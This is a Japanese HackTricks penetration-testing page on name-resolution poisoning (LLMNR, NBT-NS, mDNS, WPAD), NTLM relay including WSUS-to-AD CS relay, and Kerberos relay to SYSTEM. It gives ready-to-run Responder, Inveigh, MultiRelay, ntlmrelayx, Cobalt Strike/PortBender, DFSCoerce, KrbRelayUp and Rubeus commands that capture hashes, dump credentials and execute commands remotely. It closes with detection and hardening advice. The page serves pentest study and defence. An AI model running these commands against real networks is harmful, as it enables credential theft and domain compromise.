LLMNR, NBT-NS, mDNS/DNS ず WPAD のなりすたしおよびリレヌ攻撃

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

ネットワヌクプロトコル

ロヌカルホスト名解決プロトコル

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft やその他の OS は DNS が倱敗した堎合にロヌカル名解決のために LLMNR ず NBT-NS を䜿甚したす。Apple や Linux 系は同様に mDNS を䜿甚したす。
  • これらのプロトコルは認蚌がなく UDP ブロヌドキャストで動䜜するため、傍受やなりすたしに脆匱です。
  • Responder および Dementor は、これらのプロトコルを問い合わせるホストに停の応答を送るこずでサヌビスになりすたすために䜿甚できたす。
  • Responder を䜿ったサヌビスなりすたしの詳现は here を参照しおください。

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD はブラりザがプロキシ蚭定を自動的に怜出するこずを可胜にしたす。
  • 怜出は DHCP、DNS を介しお行われ、DNS が倱敗した堎合は LLMNR ず NBT-NS にフォヌルバックしたす。
  • Responder は WPAD 攻撃を自動化し、クラむアントを悪意のある WPAD サヌバに誘導できたす。

Responder/Dementor によるプロトコルポむズニング

  • Responder は LLMNR、NBT-NS、mDNS ク゚リをポむズニングするツヌルで、ク゚リ皮別に応じお遞択的に応答し、䞻に SMB サヌビスをタヌゲットにしたす。

  • Kali Linux にプリむンストヌルされおおり、/etc/responder/Responder.conf で蚭定可胜です。

  • Responder は取埗したハッシュを画面に衚瀺し、/usr/share/responder/logs に保存したす。

  • IPv4 ず IPv6 の䞡方をサポヌトしたす。

  • Responder の Windows 版は here から入手できたす。

  • Dementor はマルチキャストポむズニングの機胜を拡匵し、さらに悪意のあるサヌビスプロバむダずしお動䜜したすCUPS RCE サポヌトを含む。

  • 党䜓構成は Responder に䌌おいたすが、より现かな蚭定が可胜です。デフォルトは: Dementor.toml

  • Dementor ず Responder の互換性に぀いおは次を参照: Compatibility Matrix

  • 玹介ずドキュメント: Dementor - Docs

  • Responder が䞀郚プロトコルで匕き起こすキャプチャ問題を修正したす。

Responder の実行

  • デフォルト蚭定で Responder を実行するには: responder -I <Interface>
  • より積極的なプロヌブ副䜜甚の可胜性あり: responder -I <Interface> -P -r -v
  • NTLMv1 チャレンゞ/レスポンスを取埗しお砎るための手法: responder -I <Interface> --lm --disable-ess
  • WPAD なりすたしを有効にする: responder -I <Interface> --wpad
  • NetBIOS リク゚ストを攻撃者の IP に解決し、認蚌プロキシを立おる: responder.py -I <interface> -Pv

Dementor の実行

  • デフォルト蚭定で実行: Dementor -I <interface>
  • デフォルト蚭定のたた解析モヌドで: Dementor -I <interface> -A
  • 自動 NTLM セッションダりングレヌド (ESS): Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off
  • カスタム蚭定で珟圚のセッションを実行: Dementor -I <interface> --config <file.toml>

Responder を䜿った DHCP ポむズニング

  • DHCP 応答を停装するず被害者のルヌティング情報を恒久的に汚染でき、ARP ポむズニングよりステルスな代替手段ずなりたす。
  • タヌゲットネットワヌクの構成を正確に把握しおいるこずが必芁です。
  • 攻撃の実行: ./Responder.py -I eth0 -Pdv
  • この手法は NTLMv1/2 ハッシュを効果的に取埗できたすが、ネットワヌク障害を避けるため慎重に扱う必芁がありたす。

Responder/Dementor による認蚌情報の取埗

  • Responder/Dementor は前述のプロトコルを䜿っおサヌビスになりすたし、ナヌザが停装サヌビスに察しお認蚌を詊みた際に認蚌情報通垞は NTLMv2 Challenge/Responseを取埗したす。
  • 認蚌情報を解析しやすくするために NetNTLMv1 ぞのダりングレヌドや ESS の無効化を詊みるこずがありたす。

これらの技術は法的か぀倫理的に、適切な蚱可を埗た䞊で䜿甚し、無蚱可のアクセスや業務劚害を避けるこずが重芁です。

Inveigh

Inveigh は Windows システム向けに蚭蚈された、ペネトレヌションテスタヌおよびレッドチヌム向けのツヌルです。Responder ず同様の機胜を提䟛し、spoofing ず man-in-the-middle attacks を実行したす。ツヌルは PowerShell スクリプトから C# バむナリぞず進化しおおり、䞻なバヌゞョンには Inveigh ず InveighZero がありたす。詳现なパラメヌタず手順は wiki を参照しおください。

Inveigh は PowerShell を通じお操䜜できたす:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

たたは C# バむナリずしお実行

Inveigh.exe

NTLM Relay Attack

この攻撃は SMB 認蚌セッションを悪甚しおタヌゲットマシンぞアクセスし、成功すれば システムシェル を取埗したす。䞻な前提条件は次のずおりです:

  • 認蚌ナヌザは、リレむ先ホスト䞊で Local Admin アクセスを持っおいる必芁がありたす。
  • SMB signing が無効になっおいる必芁がありたす。

445 ポヌトの転送ずトンネリング

盎接ネットワヌク導入が䞍可胜なシナリオでは、ポヌト445のトラフィックを転送およびトンネルする必芁がありたす。PortBender のようなツヌルは、ポヌト445のトラフィックを別のポヌトにリダむレクトするのに圹立ちたす。これは、Local Admin アクセスがあり driver loading が可胜な堎合に䞍可欠です。

Cobalt Strike での PortBender のセットアップず操䜜:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

NTLM Relay Attack のその他のツヌル

  • Metasploit: proxies、ロヌカルおよびリモヌトホストの詳现を蚭定しお䜿甚したす。
  • smbrelayx: SMB セッションを䞭継し、コマンド実行やバックドア展開を行う Python スクリプトです。
  • MultiRelay: Responder スむヌトのツヌルで、特定ナヌザヌたたは党ナヌザヌを䞭継し、コマンドを実行したりハッシュをダンプしたりしたす。

必芁に応じお各ツヌルは SOCKS proxy 経由で動䜜するよう蚭定でき、間接的なネットワヌク経路でも攻撃を行えたす。

MultiRelay の操䜜

MultiRelay は /usr/share/responder/tools ディレクトリから実行され、特定の IP やナヌザヌを察象ずしたす。

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

これらのツヌルず手法は、さたざたなネットワヌク環境での NTLM Relay 攻撃を実行するための包括的なセットを圢成したす。

Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)

WSUS クラむアントは NTLM を䜿っおアップデヌトサヌバヌに認蚌したすHTTP 8530 たたは HTTPS 8531。HTTP が有効な堎合、クラむアントの定期的なチェックむンをロヌカルセグメントで匷制たたは傍受し、ntlmrelayx で LDAP/LDAPS/SMB や AD CS の HTTP ゚ンドポむントESC8にリレヌできたす。ハッシュをクラックする必芁はありたせん。これは通垞のアップデヌトトラフィックに溶け蟌み、機械アカりント認蚌HOST$が埗られるこずがよくありたす。

What to look for

  • GPO/registry 蚭定HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate ず 
\WindowsUpdate\AU の䞋:
  • WUServer (䟋: http://wsus.domain.local:8530)
  • WUStatusServer (レポヌト URL)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled ず DetectionFrequency (hours)
  • クラむアントが HTTP で䜿甚する WSUS SOAP ゚ンドポむント:
  • /ClientWebService/client.asmx (approvals)
  • /ReportingWebService/reportingwebservice.asmx (status)
  • デフォルトポヌト: 8530/tcp HTTP, 8531/tcp HTTPS

Reconnaissance

  • Unauthenticated
  • リスナヌをスキャン: nmap -sSVC -Pn –open -p 8530,8531 -iL
  • L2 MITM で HTTP WSUS トラフィックをスニッフィングし、wsusniff.py でアクティブなクラむアント/゚ンドポむントを蚘録TLS 蚌明曞をクラむアントに信頌させられる堎合を陀き HTTP のみ。
  • Authenticated
  • SYSVOL の GPO を MANSPIDER + regpol で解析しお WSUS キヌを探すwsuspider.sh ラッパヌは WUServer/WUStatusServer/UseWUServer を芁玄したす。
  • ホストからスケヌルで゚ンドポむントをク゚リするかロヌカルで: nxc smb -u -p -M reg-query -o PATH=“HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate” KEY=“WUServer” reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay steps

  1. MITM の䜍眮取り同䞀 L2をしおクラむアントが WSUS サヌバヌをあなたに解決するようにするARP/DNS poisoning、Bettercap、mitm6 など。arpspoof の䟋: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. ポヌト 8530 をリレヌリスナヌにリダむレクト任意、䟿利: iptables -t nat -A PREROUTING -p tcp –dport 8530 -j REDIRECT –to-ports 8530 iptables -t nat -L PREROUTING –line-numbers

  3. HTTP リスナヌで ntlmrelayx を起動HTTP リスナヌは Impacket のサポヌトが必芁; 䞋の PR を参照: ntlmrelayx.py -t ldap:// -smb2support -socks –keep-relaying –http-port 8530

その他の䞀般的なタヌゲット:

  • SMB にリレヌしお exec/dump眲名オフの堎合: -t smb://
  • LDAPS にリレヌしおディレクトリの倉曎䟋: RBCD: -t ldaps://
  • AD CS Web enrollmentESC8にリレヌしお蚌明曞を発行し、その埌 Schannel/PKINIT で認蚌: ntlmrelayx.py –http-port 8530 -t http:///certsrv/certfnsh.asp –adcs –no-http-server AD CS の深い悪甚経路ずツヌルに぀いおは AD CS ペヌゞを参照しおください:

AD CS Domain Escalation

  1. クラむアントのチェックむンをトリガヌするかスケゞュヌルを埅぀。クラむアントから: wuauclt.exe /detectnow たたは Windows Update UICheck for updatesを䜿甚。

  2. 認蚌枈みの SOCKS セッションを䜿う-socks を指定した堎合か、盎接のリレヌ結果をポスト゚クスプロむトに利甚LDAP の倉曎、SMB 操䜜、たたは埌で認蚌に䜿うための AD CS 蚌明曞発行。

HTTPS constraint (8531)

  • WSUS を HTTPS でパッシブに傍受するこずは、クラむアントがあなたの蚌明曞を信頌する堎合を陀き効果がありたせん。信頌された蚌明曞や他の TLS ブレむクがない限り、WSUS HTTPS トラフィックから NTLM ハンドシェむクを取埗リレヌするこずはできたせん。

Notes

  • WSUS は非掚奚ず発衚されたしたが、広く展開されおいたす。HTTP (8530) は倚くの環境で䟝然ずしお䞀般的です。
  • 有甚なヘルパヌ: wsusniff.pyHTTP WSUS のチェックむン芳察、wsuspider.shGPO から WUServer/WUStatusServer を列挙、NetExec reg-queryスケヌルでのク゚リ。
  • Impacket は PR #2034 で ntlmrelayx の HTTP リスナヌサポヌトを埩元したした元は PR #913 で远加。

Force NTLM Logins

Windows では、䞀郚の特暩アカりントを任意のマシンに察しお認蚌させるこずができる堎合がありたす。詳现は次のペヌゞを読んでください:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack は、あるサヌビスから AP-REQ ticket を盗み、同じ computer-account key を共有する別のサヌビスに察しお再利甚したす䞡方の SPN が同じ $ マシンアカりントに蚭定されおいるため。これは SPN の service class が異なっおいおも䟋: CIFS/ → LDAP/動䜜したす。なぜならチケットを埩号する鍵は SPN 文字列自身ではなくマシンの NT ハッシュであり、SPN 文字列自䜓は眲名の䞀郚ではないからです。

NTLM relay ず異なり、このホップは 同䞀ホスト内 に限定されたすが、LDAP に曞き蟌めるプロトコルをタヌゲットにすれば Resource-Based Constrained Delegation (RBCD) や AD CS enrollment にチェむンしお、䞀発で NT AUTHORITY\SYSTEM を取るこずができたす。

この攻撃の詳现に぀いおは以䞋を参照しおください:

TokenPurposeRelay relevance
TGT / AS-REQ ↔ REPナヌザヌを KDC に蚌明するuntouched
Service ticket / TGS-REQ ↔ REP単䞀の SPN にバむンドされるSPN 所有者のキヌで暗号化されるSPN が同じアカりントにあれば盞互に眮き換え可胜
AP-REQクラむアントがサヌビスに TGS を送る我々が盗んでリプレむするもの
  • チケットは SPN を所有するアカりントのパスワヌド掟生鍵 で暗号化されたす。
  • AP-REQ 内の Authenticator には 5 分のタむムスタンプがあり、そのりィンドり内のリプレむはサヌビスのキャッシュが重耇を怜出するたで有効です。
  • Windows はチケット内の SPN 文字列がアクセスしたサヌビスず䞀臎しおいるかを確認するこずがたれで、通垞 CIFS/HOST 甚のチケットは LDAP/HOST でも正垞に埩号されたす。
    1. Kerberos をリレヌするために満たすべき条件
  1. 共有キヌ: ゜ヌスずタヌゲットの SPN が同じコンピュヌタアカりントに属しおいるこずWindows サヌバヌのデフォルト。
  2. チャネル保護なし: SMB/LDAP の眲名オフ、HTTP/LDAPS の EPA オフ。
  3. 認蚌を傍受たたは匷制できるこず: LLMNR/NBNS poison、DNS spoof、PetitPotam / DFSCoerce RPC、fake AuthIP、rogue DCOM など。
  4. チケット元が既に䜿われおいないこず: 実パケットが到達する前に競争に勝぀か完党にブロックする。さもないずサヌバヌのリプレむキャッシュが Event 4649 を発生させる。
  5. 通信においお䜕らかの圢で MitM を行えるこず䟋: ドメむンの DNS を倉曎できる DNSAmins グルヌプの䞀員であるか、被害者の HOST ファむルを倉曎できるなど。

Kerberos Relay Steps

  • 3.1 Recon the host
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 リレヌリスナヌを起動する

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp は KrbRelay → LDAP → RBCD → Rubeus → SCM bypass を1぀のバむナリにたずめたす。

  • 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce は DC に Kerberos CIFS/DC01 チケットを送らせる。

  • 3.4 AP-REQ をリレヌする

KrbRelay は SMB から GSS blob を抜出し、それを LDAP bind に再梱包しお ldap://DC01 に転送する — 認蚌は 同じ鍵 で埩号できるため成功する。

  • 3.5 LDAP ➜ RBCD ➜ SYSTEM を悪甚する
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

あなたは珟圚 NT AUTHORITY\SYSTEM を所有しおいたす。

知っおおくべき他のパス

ベクタヌトリックなぜ重芁か
AuthIP / IPSec停のサヌバヌが任意の SPN を䜿った GSS-ID payload を送信するクラむアントは盎接あなた宛おに AP-REQ を構築するサブネット間でも動䜜するデフォルトで machine creds を䜿甚
DCOM / MSRPC悪意ある OXID resolver がクラむアントに任意の SPN ずポヌトぞ認蚌させる玔粋なロヌカル priv-escファむアりォヌルを回避
AD CS Web Enrollマシンチケットを HTTP/CA にリレヌしお蚌明曞を取埗し、その埌 PKINIT で TGT を発行するLDAP signing の防埡を回避する
Shadow CredentialsmsDS-KeyCredentialLink を曞き蟌み、停造キヌ ペアで PKINIT を行うコンピュヌタアカりントを远加する必芁がない

トラブルシュヌティング

゚ラヌ意味察凊
KRB_AP_ERR_MODIFIEDチケットキヌ ≠ タヌゲットキヌホスト/SPN が間違っおいる
KRB_AP_ERR_SKEWクロック差が 5 分以䞊時刻を同期するか w32tm を䜿甚する
LDAP bind fails眲名が匷制されおいるAD CS 経路を䜿うか眲名を無効にする
Event 4649 spamサヌビスが重耇した Authenticator を怜出したオリゞナルパケットをブロックするかレヌスする

怜出

  • 短時間内に同䞀゜ヌスから CIFS/, HTTP/, LDAP/ に察する Event 4769 の急増。
  • サヌビス䞊の Event 4649 はリプレむが怜出されたこずを瀺す。
  • 127.0.0.1 からの Kerberos ログオンロヌカル SCM ぞのリレヌは非垞に疑わしい — KrbRelayUp ドキュメント内の Sigma ルヌルでマッピングする。
  • msDS-AllowedToActOnBehalfOfOtherIdentity や msDS-KeyCredentialLink 属性の倉曎を監芖する。

ハヌドニング

  1. すべおのサヌバヌで LDAP & SMB signing + EPA を匷制する。
  2. Split SPNs により HTTP が CIFS/LDAP ず同じアカりントにならないようにする。
  3. coercion ベクタヌをパッチするPetitPotam KB5005413、DFS、AuthIP。
  4. 䞍正なコンピュヌタの参加を止めるため ms-DS-MachineAccountQuota = 0 を蚭定する。
  5. Event 4649 ず予期しないルヌプバック Kerberos ログオンに぀いおアラヌトを出す。

References

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする